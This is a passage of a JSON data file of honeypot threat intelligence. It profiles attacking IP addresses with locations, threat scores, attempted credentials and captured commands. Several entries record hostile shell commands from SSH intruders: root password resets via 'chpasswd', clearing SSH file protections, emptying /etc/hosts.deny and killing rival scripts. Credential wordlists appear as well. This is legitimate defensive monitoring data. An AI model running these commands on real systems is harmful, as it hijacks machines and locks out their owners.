        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T10:55:40.441000+00:00",
        "last_seen_30d": "2026-05-05T10:57:00.337000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "49.36.89.11": {
      "attack_count": 2,
      "first_seen": "2026-05-07T19:27:24.462Z",
      "last_seen": "2026-05-07T19:27:36.645Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Ahmedabad",
      "asn": 55836,
      "as_org": "Reliance Jio Infocomm Limited",
      "threat_score": 3.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-07T19:27:24.462000+00:00",
        "last_seen_30d": "2026-05-07T19:28:38.727000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "75.183.8.224": {
      "attack_count": 2,
      "first_seen": "2026-05-06T09:07:06.740Z",
      "last_seen": "2026-05-06T09:07:20.045Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Winston-Salem",
      "asn": 11426,
      "as_org": "Charter Communications Inc",
      "threat_score": 2.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-06T09:07:06.740000+00:00",
        "last_seen_30d": "2026-05-06T09:08:23.426000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "78.30.14.143": {
      "attack_count": 2,
      "first_seen": "2026-05-06T04:26:59.151Z",
      "last_seen": "2026-05-06T04:27:11.997Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Spain",
      "country_code": "ES",
      "city": "Seville",
      "asn": 15704,
      "as_org": "Xtra Telecom S.A.",
      "threat_score": 2.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-06T04:26:59.151000+00:00",
        "last_seen_30d": "2026-05-06T04:28:15.573000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "8.219.93.189": {
      "attack_count": 2,
      "first_seen": "2026-05-15T05:40:15.947Z",
      "last_seen": "2026-05-15T05:40:46.674Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 45102,
      "as_org": "Alibaba US Technology Co., Ltd.",
      "threat_score": 8.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-15T05:40:15.947000+00:00",
        "last_seen_30d": "2026-05-15T05:41:51.904000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "80.31.97.160": {
      "attack_count": 2,
      "first_seen": "2026-05-19T00:46:14.893Z",
      "last_seen": "2026-05-19T00:46:28.397Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Spain",
      "country_code": "ES",
      "city": "Aracena",
      "asn": 3352,
      "as_org": "Telefonica De Espana S.a.u.",
      "threat_score": 10.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T00:46:14.893000+00:00",
        "last_seen_30d": "2026-05-19T00:47:35.634000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "81.5.123.136": {
      "attack_count": 2,
      "first_seen": "2026-05-10T08:42:39.872Z",
      "last_seen": "2026-05-10T08:42:53.094Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "Dolgoprudny",
      "asn": 25100,
      "as_org": "Non state educational institution Educational Scientific and Experimental Center of Moscow I",
      "threat_score": 5.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-10T08:42:39.872000+00:00",
        "last_seen_30d": "2026-05-10T08:43:54.733000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "94.236.227.129": {
      "attack_count": 2,
      "first_seen": "2026-05-05T23:32:38.575Z",
      "last_seen": "2026-05-05T23:32:51.223Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Bulgaria",
      "country_code": "BG",
      "city": "Sofia",
      "asn": 42555,
      "as_org": "OPTICCOM- BULGARIA Ltd.",
      "threat_score": 2.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T23:32:38.575000+00:00",
        "last_seen_30d": "2026-05-05T23:33:59.557000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "95.183.122.130": {
      "attack_count": 2,
      "first_seen": "2026-05-20T08:33:46.700Z",
      "last_seen": "2026-05-20T08:33:59.846Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "Noginsk",
      "asn": 21453,
      "as_org": "Flex Ltd.",
      "threat_score": 11.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T08:33:46.700000+00:00",
        "last_seen_30d": "2026-05-20T08:35:06.931000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "193.23.197.105": {
      "attack_count": 1918,
      "first_seen": "2026-05-28T01:53:11.875Z",
      "last_seen": "2026-05-28T07:37:48.121Z",
      "sessions": 382,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "user",
        "deploy",
        "ubuntu",
        "postgres",
        "test",
        "user1",
        "git",
        "hadoop",
        "minecraft",
        "mysql",
        "oracle",
        "steam",
        "debian",
        "dev",
        "elasticsearch",
        "es",
        "frappe",
        "ftp"
      ],
      "passwords_attempted": [
        "123456",
        "123",
        "password",
        "1",
        "1234",
        "12345",
        "12345678",
        "123456789",
        "1qaz@WSX",
        "admin123",
        "111111",
        "Aa123456",
        "Admin@123",
        "P@ssw0rd",
        "admin",
        "frappe",
        "rock",
        "test",
        "test123",
        "user"
      ],
      "commands_executed": [
        "uname -s -v -n -r -m"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 213520,
      "as_org": "Senko Digital LLC",
      "threat_score": 38.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 30,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 2748,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-28T01:53:11.875000+00:00",
        "last_seen_30d": "2026-05-28T07:38:50.641000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 1918,
        "Suricata": 830
      }
    },
    "45.249.247.165": {
      "attack_count": 1077,
      "first_seen": "2026-05-02T10:51:10.856Z",
      "last_seen": "2026-05-30T08:30:00.763Z",
      "sessions": 121,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "admin",
        "345gs5662d34",
        "test",
        "postgres",
        "sftp",
        "debian",
        "devops",
        "ftpuser",
        "gitlab",
        "guest",
        "kafka",
        "mk",
        "myappuser",
        "odoo",
        "oracle",
        "test1",
        "testuser",
        "user"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "password",
        "1",
        "123",
        "12345",
        "12345678",
        "admin",
        "pass",
        "test",
        "!",
        "!1qwerty",
        "00000000",
        "111111",
        "12",
        "1234",
        "123456789",
        "123456789010",
        "123456aA"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"123456aA\\nd6aidlo1OIRA\\nd6aidlo1OIRA\\n\"|passwd",
        "echo \"1q1q1q\\niD2dpveL8i0M\\niD2dpveL8i0M\\n\"|passwd",
        "echo \"Password@123\\ne9QPibMLXYJ2\\ne9QPibMLXYJ2\\n\"|passwd",
        "echo \"devops2023\\nYwSBTQF6W6vq\\nYwSBTQF6W6vq\\n\"|passwd",
        "echo \"line\\nyXu0OmOtSS7Y\\nyXu0OmOtSS7Y\\n\"|passwd",
        "echo \"mk\\nJJX49QmIgvIZ\\nJJX49QmIgvIZ\\n\"|passwd",
        "echo \"odooserver\\nReiSGuB6ExUN\\nReiSGuB6ExUN\\n\"|passwd",
        "echo \"password\\nUXO84YUymMy7\\nUXO84YUymMy7\\n\"|passwd",
        "echo -e \"123456aA\\nd6aidlo1OIRA\\nd6aidlo1OIRA\"|passwd|bash",
        "echo -e \"1q1q1q\\niD2dpveL8i0M\\niD2dpveL8i0M\"|passwd|bash",
        "echo -e \"Password@123\\ne9QPibMLXYJ2\\ne9QPibMLXYJ2\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 64.0,
      "threat_level": "high",
      "score_components": {
        "frequency": 30,
        "persistence": 24.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 1342,
        "days_active_30d": 29,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T10:51:10.856000+00:00",
        "last_seen_30d": "2026-05-30T08:31:07.880000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 1077,
        "Suricata": 265
      }
    },
    "185.103.202.198": {
      "attack_count": 716,
      "first_seen": "2026-05-14T03:34:13.312Z",
      "last_seen": "2026-05-25T13:37:49.656Z",
      "sessions": 83,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ubuntu",
        "ayjtnzjc",
        "developer",
        "grafana",
        "adi",
        "administrador",
        "cloud",
        "csgo",
        "curl",
        "dasusr1",
        "db2inst1",
        "dev",
        "felix",
        "fred",
        "ftp_user",
        "gamma",
        "git",
        "guest"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1",
        "11111111",
        "112233qqwwee",
        "123456",
        "12345678",
        "123ewq",
        "1qazXSW@",
        "1qazxsw23edcvfr45tgb",
        "2032",
        "2wsx#EDC4rfv",
        "369258147",
        "666666",
        "789",
        "Abcd@1234",
        "Asd12345",
        "LeitboGi0ro",
        "P@$$w0rd",
        "P@ssw0rd"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"1qazXSW@\\nWw4wKVXC0GTa\\nWw4wKVXC0GTa\\n\"|passwd",
        "echo \"grafana\\n6DVZwwodlr1r\\n6DVZwwodlr1r\\n\"|passwd",
        "echo \"root:HPSwojmb0jrV\"|chpasswd|bash",
        "echo \"root:IuNwbIrrq5Q7\"|chpasswd|bash",
        "echo \"yzOeGur5kZbZ\\nqdCHhIlY61jO\\nqdCHhIlY61jO\\n\"|passwd",
        "echo -e \"1qazXSW@\\nWw4wKVXC0GTa\\nWw4wKVXC0GTa\"|passwd|bash",
        "echo -e \"grafana\\n6DVZwwodlr1r\\n6DVZwwodlr1r\"|passwd|bash",
        "echo -e \"yzOeGur5kZbZ\\nqdCHhIlY61jO\\nqdCHhIlY61jO\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "T\u00fcrkiye",
      "country_code": "TR",
      "city": null,
      "asn": 215710,
      "as_org": "HDM Dijital Hizmetleri Ticaret Limited Sirketi",
      "threat_score": 41.3,
      "threat_level": "medium",
      "score_components": {
        "frequency": 29.6,
        "persistence": 10.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 913,
        "days_active_30d": 12,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-14T03:34:13.312000+00:00",
        "last_seen_30d": "2026-05-25T13:38:50.977000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 716,
        "Suricata": 197
      }
    },
    "112.219.104.42": {
      "attack_count": 698,
      "first_seen": "2026-05-08T07:31:31.521Z",
      "last_seen": "2026-05-20T21:52:48.128Z",
      "sessions": 91,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "admin",
        "345gs5662d34",
        "ftpuser",
        "test",
        "oracle",
        "postgres",
        "user",
        "adi",
        "admin1",
        "admin3",
        "administrador",
        "ali",
        "deploy",
        "ec2-user",
        "es",
        "fred",
        "fuser",
        "gameserver"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "12345678",
        "Welcome#12345",
        "password",
        "1",
        "1100",
        "112233qqwwee",
        "1234",
        "12341234",
        "12345",
        "12345qwert",
        "1234qwer",
        "123ewq",
        "1qazXSW@",
        "1qazxsw2",
        "88888888",
        "Aa1234567890@",
        "Berbidvps.ir"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"1qazXSW@\\n7wYxwkDBLGod\\n7wYxwkDBLGod\\n\"|passwd",
        "echo \"Aa1234567890@\\nWgMcVGssu5lS\\nWgMcVGssu5lS\\n\"|passwd",
        "echo \"asd12345678\\nl5PE21bUpxrB\\nl5PE21bUpxrB\\n\"|passwd",
        "echo \"root:OjYsj7zL7kIo\"|chpasswd|bash",
        "echo -e \"1qazXSW@\\n7wYxwkDBLGod\\n7wYxwkDBLGod\"|passwd|bash",
        "echo -e \"Aa1234567890@\\nWgMcVGssu5lS\\nWgMcVGssu5lS\"|passwd|bash",
        "echo -e \"asd12345678\\nl5PE21bUpxrB\\nl5PE21bUpxrB\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Pyeongtaek-si",
      "asn": 3786,
      "as_org": "LG DACOM Corporation",
      "threat_score": 33.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 29.6,
        "persistence": 10.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 902,
        "days_active_30d": 13,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T07:31:31.521000+00:00",
        "last_seen_30d": "2026-05-20T21:53:54.413000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 698,
        "Suricata": 204
      }
    },
    "144.126.133.14": {
      "attack_count": 568,
      "first_seen": "2026-05-03T02:28:38.887Z",
      "last_seen": "2026-05-03T02:39:07.159Z",
      "sessions": 284,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "St Louis",
      "asn": 40021,
      "as_org": "Contabo Inc.",
      "threat_score": 4.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 29.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 856,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T02:28:38.887000+00:00",
        "last_seen_30d": "2026-05-03T02:40:16.229000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 568,
        "Suricata": 288
      }
    },
    "171.231.188.99": {
      "attack_count": 418,
      "first_seen": "2026-05-02T16:55:08.364Z",
      "last_seen": "2026-05-02T17:22:56.157Z",
      "sessions": 83,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "root",
        "test",
        "ubnt",
        "user",
        "123456",
        "admian",
        "am",
        "ashish",
        "auto",
        "belkinstyle",
        "bin",
        "brenda",
        "cisco",
        "client",
        "config",
        "developer",
        "ftp",
        "ftpuser",
        "geral"
      ],
      "passwords_attempted": [
        "123456",
        "admin",
        "password",
        "1234",
        "12345",
        "039715582364317",
        "0987654321",
        "0l0ctyQh243O63uD",
        "112233",
        "123",
        "12345678",
        "1234567890%*()",
        "72ca06",
        "Deadstar!",
        "OkwKcECs8qJP2Z",
        "abc123",
        "abcd1234",
        "abcdefg",
        "admin123",
        "administrator"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Da Nang",
      "asn": 7552,
      "as_org": "Viettel Group",
      "threat_score": 4.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 27.9,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 615,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T16:55:08.364000+00:00",
        "last_seen_30d": "2026-05-02T17:27:44.542000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 418,
        "Suricata": 197
      }
    },
    "46.225.17.125": {
      "attack_count": 280,
      "first_seen": "2026-05-25T13:57:36.182Z",
      "last_seen": "2026-05-25T14:56:03.401Z",
      "sessions": 21,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "curl",
        "cloud",
        "deploy",
        "es",
        "system",
        "testuser",
        "userftp"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1",
        "12345678",
        "Admin123456!",
        "Q!w2e3r4t5",
        "Qaz112233",
        "Wangsu@2017",
        "aa112233",
        "fjbdfdjkdsfs541544",
        "fjbdfdjkdsfs541544@@",
        "fjbdfdjkdsfs541544AA@@",
        "root123123",
        "system123",
        "test",
        "userftp",
        "welltech12"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"root:nOJgWf78ufl5\"|chpasswd|bash",
        "echo \"root:uz2aDAhcP7gE\"|chpasswd|bash",
        "echo \"welltech12\\nbSBnAe1unkEn\\nbSBnAe1unkEn\\n\"|passwd",
        "echo -e \"welltech12\\nbSBnAe1unkEn\\nbSBnAe1unkEn\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Nuremberg",
      "asn": 24940,
      "as_org": "Hetzner Online GmbH",
      "threat_score": 30.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 330,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-25T13:57:36.182000+00:00",
        "last_seen_30d": "2026-05-25T14:57:07.848000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 280,
        "Suricata": 50
      }
    },
    "192.3.218.12": {
      "attack_count": 261,
      "first_seen": "2026-05-22T13:17:57.883Z",
      "last_seen": "2026-05-22T14:57:59.708Z",
      "sessions": 29,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ubuntu",
        "debian",
        "ftpuser",
        "gianluca",
        "marcelo",
        "master",
        "monika",
        "panda",
        "user"
      ],
      "passwords_attempted": [
        "1234",
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        ")OKM9ijn",
        "123",
        "123321",
        "1qaz#EDC",
        "ABcd1234",
        "Aa123456789..",
        "Abc@123456",
        "Admin123#",
        "Fc123456",
        "Kevin123",
        "QWEqwe123!",
        "Qq112233",
        "Welcome@888!",
        "Wq123456",
        "aaa123456",
        "admin123456."
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:XxLUlHT73G4U\"|chpasswd|bash",
        "echo \"root:cwGMRujzxD2M\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Buffalo",
      "asn": 36352,
      "as_org": "HostPapa",
      "threat_score": 26.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 333,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T13:17:57.883000+00:00",
        "last_seen_30d": "2026-05-22T14:59:08.945000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 261,
        "Suricata": 72
      }
    },
    "45.169.187.85": {
      "attack_count": 259,
      "first_seen": "2026-05-21T15:13:41.461Z",
      "last_seen": "2026-05-21T15:45:27.673Z",
      "sessions": 27,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
